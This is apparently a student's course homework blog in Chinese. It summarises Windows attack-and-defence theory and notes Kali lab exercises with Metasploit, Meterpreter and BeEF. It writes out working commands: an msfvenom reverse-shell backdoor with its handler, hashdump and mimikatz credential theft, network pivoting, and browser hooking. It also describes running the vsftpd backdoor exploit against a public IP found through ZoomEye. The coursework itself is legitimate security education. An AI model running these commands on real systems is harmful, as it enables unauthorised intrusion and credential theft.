2018-2019-2 20189215 《网络攻防技术》第七周做业

教材《网络攻防技术》第七章学习


第7章 Windows操做系统安全攻防

7.1 Windows操做系统基本框架概述

  • windows基本结构分为运行于处理器特权模式的操做系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。
  • 内核态:windows执行体、windows内核体、设备驱动程序、硬件抽象层、windows窗口与图形界面接口。
  • 用户态:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
  • 核心机制:进程和线程管理机制、内存管理机制、文件管理机制、注册表管理机制、网络管理机制。
  • 网络管理机制:网卡硬件驱动程序(物理层)、NDIS库以及miniport驱动程序(链路层)、TDI传输层(网络协议驱动)(网络层和传输层)、网络APID以及TDI客户端(会话层和表示层)、网络应用程序和服务进程(应用层)。

7.2 Windows操做系统的安全体系结构和机制

  • 监控器模型:主体到客体的访问都经过监控器做中间,由引用监控器根据安全访问控制策略来进行受权访问,全部访问记录都由监控器生成审计日志。
  • 核心:SRM安全引用监控器(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog
  • 身份认证机制:
    • 安全主体:用户、用户组、计算机
    • 身份认证:本地身份认证(winlogon进程、GINA图形化登陆窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)
  • 受权与访问控制机制:
    +对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通讯接口。
    • 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
  • 安全审计机制
  • 其余安全机制:安全中心(防火墙、补丁自动更新、病毒防御),IPsec加载和验证机制,EPS加密文件系统,windows文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制。

7.3 Windows远程安全攻防技术

  • 远程安全攻防技术包括远程口令猜解攻击、windows网络服务攻击,windows客户端和用户攻击。
  • 生命周期:
    • windows安全漏洞发现,利用与修补过程。
    • 安全漏洞公开披露信息库:CVE,NVD,SecyrityFocus,OSVDB。
    • 针对特定目标的渗透测试攻击过程:漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。
    • 使用metasploit软件实施渗透测试:用户接口(CLI、Console,web,GUI)。
  • 远程口令猜解攻击:
    • 远程口令猜解:SMB协议(tcp44五、tcp139),其余包括WMI服务、TS远程桌面终端服务,MY SQL数据库服务、SharePoint。工具包括:Legion、enum、smbgrind、NTScan、XScan、流光。
    • 远程口令字交换通讯窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
    • 远程口令猜解的防范:关闭没必要要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过期且有安全缺陷的Lanman和NTLM、指定强口令策略。
  • 网络服务远程渗透攻击:
    • 针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击、针对windows系统上第三方服务的远程渗透攻击。
    • 防范措施:最基本的是尽可能避免与消除这些渗透攻击所依赖的服务软件安全漏洞。

7.4 Windows本地安全攻防技术

  • 本地提权攻击:利用操做系统内核、特权用户启动程序中安全缺陷与漏洞,缘由是服务器和桌面系统没有即时进行补丁更新。
  • 敏感信息窃取:
    • windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具有份、pwdumpx从SAM文件或者活动目录中提取口令密文)。
    • windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)。
    • 用户敏感数据窃取:find、findstr、grep、meterpreter。
  • 本地敏感信息窃取防范:选择高强度、高防护的口令,使用更安全的加密明文算法,安全配置策略。
  • 消灭踪影关闭审计功能、清理事件日志。
    • 防范措施:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
  • 远控和后门程序
    • 远控:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)。
    • 后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)。
    • 防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。

kali视频学习


26.KaliSecruity-漏洞利用之检索与利用

  • Exploit Database->searchsploit,会经过本地的Exploit-DB查找漏洞信息,能够借助关键词搜索漏洞信息以及漏洞对应的ex。须要注意的是,searchsploit 使用 AND 运算符,使用的术语越多,滤除的结果越多。

  • ikat,自动化开启,等待目标访问中招。
  • termineter,评估智能电表的安全性。

27.KaliSecruity-漏洞利用之Metasploit基础

Metasploit在渗透测试中常常被用到,实际上这套软件包括了不少工具,这些工具组成了一个完整的攻击框架。这些工具或许在渗透测试中的每一方面都不能成为最好用的工具,但组合起来的框架却让它变得很强大。html

1.开启服务

Kali漏洞工具集中的重要组成工具,须要先开启两个PostgreSQL数据库服务和metasploit服务,而后就能够完整的利用msf数据库查询exploit和记录。命令以下:python

service postgresql start //启动postgresql数据库
service metasploit start

启动时发现显示错误,缘由新的版本已经没有metasploit服务了。
git


须要使用如下方法打开带数据库支持的MSF服务:
输入 msfdb init初始化MSF数据库,再输入 msfconsole打开。

输入 db_status在msf中能够查看数据库链接状态

若是不想每次开机都手工启动服务,配置随系统启动:

update-rc.d postgresql enable
update-rc.d metasploit enable

2.路径介绍

kali中,msf的路径为/usr/share/metasploit-framework
github

3.基本命令

  • msfpayload:用来生成payload或者shellcode,搜索时候能够用msfpayload -l |grep “windows”这样的命令来查询,-o选项能够列出payload所需的参数。
  • msfencode:msf中的编码器,早期为了编码绕过AV如今经常使用msfpayload与它编码避免exploit的坏字符串。使用它做为攻击载荷可以得到目标系统的一个meterpretershell的连接。
  • msfconsole:开启metasploit的console。
  • msfvenom:是msfpayload和msfencode的混合体。msfpayload用来生成payload或者shellcode,msfencode是msf中的编码器。

4.测试示例

  • 首先在https://www.zoomeye.org搜索vsftpd-2.3.4 +country:"CN",能够搜索到运行该服务的主机,找到一个能够ping通的IP。

  • 而后用nmap -sV扫描目标主机和端口上运行的软件的版本。结果显示目标主机运行着ftp服务器,且版本为vsftpd 2.3.4(此版本的存在着漏洞,攻击者能够远程获取目标主机的root权限)。
  • 下面利用metasploit实施攻击。命令行输入msfconsole开启metasploit的console,而后输入search vsftpd,搜索与vsftpd匹配的模块。
  • exploit/unix/ftp/vsftpd_234_backdoor针对的正好是扫描出的2.3.4版本,接下来就能够利用该模块对目标进行攻击。输入use exploit/unix/ftp/vsftpd_234_backdoor,提示符提示进入到该路径下,show options查看须要设置的相关项。提示须要设置RHOST和RPORT(端口默认为21),set RHOST 111.13.70.33设置目标IP。
  • 接下来选择payload,输入命令set payload,按Tab键自动补齐攻击载荷cmd/unix/interactshow options查看须要设置的相关项,设置结束后输入exploit便可实施攻击。
  • 结果攻击失败,推测是对方打开了防火墙。
  • 若是能够攻击成功的话,结果应该返回目标主机的shell,获取了目标主机的root权限,能够输入命令查看id、网络配置等。

28.KaliSecruity-漏洞利用之Metasploit介绍

Meterpreter是Metasploit框架中的一个拓展模块,做为溢出成功后的攻击载荷使用。攻击载荷在溢出攻击成功之后给咱们返回一个控制通道。使用它做为攻击载荷可以得到目标系统的一个Meterpretershell的连接。
经常使用的命令有:web

background //将当前会话放置后台
load/use 加载模块
interact 切换进一个信道
migrate 迁移进程
run 执行一个已有的模块
Resource 执行一个已有的rc脚本经常使用的meterpreter类型:
payload windows/meterpreter/reverse_tcp

1.生成meterpreter后门

使用命令:
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.69.195 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
发现设置成功后仍没法显示,由于新版本的kali下msfpayload已经被移除了。新版本中只要使用msfvenom就好了,它集成了msfpayload和msfencode的功能。
算法


因此新版本中生成meterpreter后门的命令等同为:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.195 LPORT=2333 -i 5 -f exe > /root/door.exe

生成成功,将其移入XP系统中,xp系统的IP地址为172.16.69.109。

2.打开MSF,开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options

显示以下:
sql

set LPORT 2333 \\设置监听端口
set LHOST 172.16.69.109  \\设置监听地址

设置后显示以下:
shell

3.监听目标主机

在kali的msf中执行exploit开始监听,而且在目标主机上执行door.exe。
数据库

4.meterpreter shell

此时咱们取得了一个meterpreter shell。在meterpreter shell中输入help查看可执行的命令,如sysinfo显示目标系统信息,hashdump抓取哈希,pwd显示当前路径等。
vim



meterpreter还有一些扩展工具,使用load + tab键查看这些工具,而后选择所需工具进行使用(load mimikatz用来抓取系统明文)。

5.返回msf和进入sessions

输入background返回msf,若是想返回meterpreter shell,输入sessions查看ID,输入sessions -i ID选择想返回的会话。

29.KaliSecruity-漏洞利用之Metasploit后渗透测试

Meterpreter做为后渗透模块有不少类型,而且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有不少的功能,如添加一个用户、隐藏一些东西、打开shell、获得用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、获得远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。
在跳板机获取必定权限后,须要积极的向内网主机权限发展,获取制定的目标信息,探查系统的漏洞,借助系统的漏洞,借助Msf已经获得的meterpreter后门,可使系列的操做更容易。

1.查看跳板机的网卡设置

使用ifconfig命令:

2.添加路由表

run autoroute -s 10.0.0.1
这是在Metasploit最经常使用的方法,在添加路由表和session的关系后,即可以使用msf中的模块跨网段扫描或攻击。

3.开启socks代理

经过使用auxiliary/server/socks4a模块,建立一个socks代理,能够为浏览器,Sqlmap,Nmap等使用。

background //把session置于后台
search socks  //使用socks开代理
use auxiliary/server/socks4a
showoptions
exploit

使用以上命令开启:

4.进入session后,输入run能够看到在meterpreter上能够作的不少命令。

5.经过run post/能够看到后渗透测试的模块。

30.KaliSecruity-漏洞利用之BeEF

对XSS漏洞每每须要一个强大的框架支持,如网络上的XSS平台,在KALI下,BeEf是一款丝绝不逊于XSS平台的工具。BeEf是浏览器攻击框架的简称,是一款专一于浏览器的渗透测试工具,它扩展了跨站漏洞的利用,能hook不少浏览器并能够执行不少内嵌命令。

1.BeEF攻击示例

  • 命令行下启动BeEF。命令行输入beef-xss,出现错误提示说使用的是默认用户名,须要修改用户名或者密码才能够启动。
  • 使用vim /etc/beef-xss/config.yaml修改密码为feeb,再次输入beef-xss,浏览器自动访问页面http://127.0.0.1:3000/ui/authentication,输入用户名和密码登陆后进入主界面。

  • 假设被测试主机因为XSS漏洞请求到页面http://127.0.0.1:3000/demod/basic.html,这是一个测试页面,若是经过XSS把该页面加入页面请求中,也就是说每一个访问某个页面的人都会访问该页面,则访问者就会被BeEF hook到,即加入到Online Browsers中。
  • 这样在主界面左端就能够看到一个在线主机,右侧 Current Browser 标签页中显示一系列信息。
  • HOOK持续的时间为关闭测试页面为止,在此期间,至关于被控制了,能够发送攻击命令。以MISC下的Raw JavaScript模块为例进行测试,右端输入 Javascript codealert('well done,man');return 'It worked!';给目标弹出窗口,点击Excute进行攻击。
  • 若是成功,会弹出窗口提示。
  • 这时Command results显示result=It worked!

2.BeEF的Proxy功能

  • 选中目标主机,点击右键,在菜单中选中use as Proxy。
  • 在Proxy选项卡中的Forge Request编辑并发送想要发送的内容,Host设置成为localhost127.0.0.1:3000
  • 点击send,在History选项卡中会显示执行请求的信息。
  • 执行完毕后,点击该条目,查看包的细节。借助于此,可让目标访问特定的页面,若是特定页面有漏洞,就会中招。
  • 以上就是依赖目标作一个代理,而后请求一个特定页面的过程。

3.加载Metasploit

BeEF默认不加载Metasploit,若是要使用Metasploit丰富的攻击模块,须要作如下配置。

  • 首先修改/usr/share/beef-xss/config.yaml文件,将metasploit设置为true。
  • 而后修改/usr/share/beef-xss/extensions/metasploit/config.yaml文件,host和callback_host设置成本机IP地址,而后再修改Custom路径为/usr/share/metasploit-framework便可。
  • 设置完成后打开msfconsole,输入命令load msgrpc ServerHost=172.16.69.195 Pass=abc123
  • 此时进入目录/usr/share/beef-xss/,执行./beef -x命令,从新加载metasploit模块。
  • service beef-xss start命令重启服务,而后从新登录BeEF,metasploit下增长了不少可使用的模块,如今就可使用metasploit的模块进行攻击了。

《Python 黑帽子》第6、九章


代码托管:
https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter6
https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter9

参考资料


相关文章
相关标签/搜索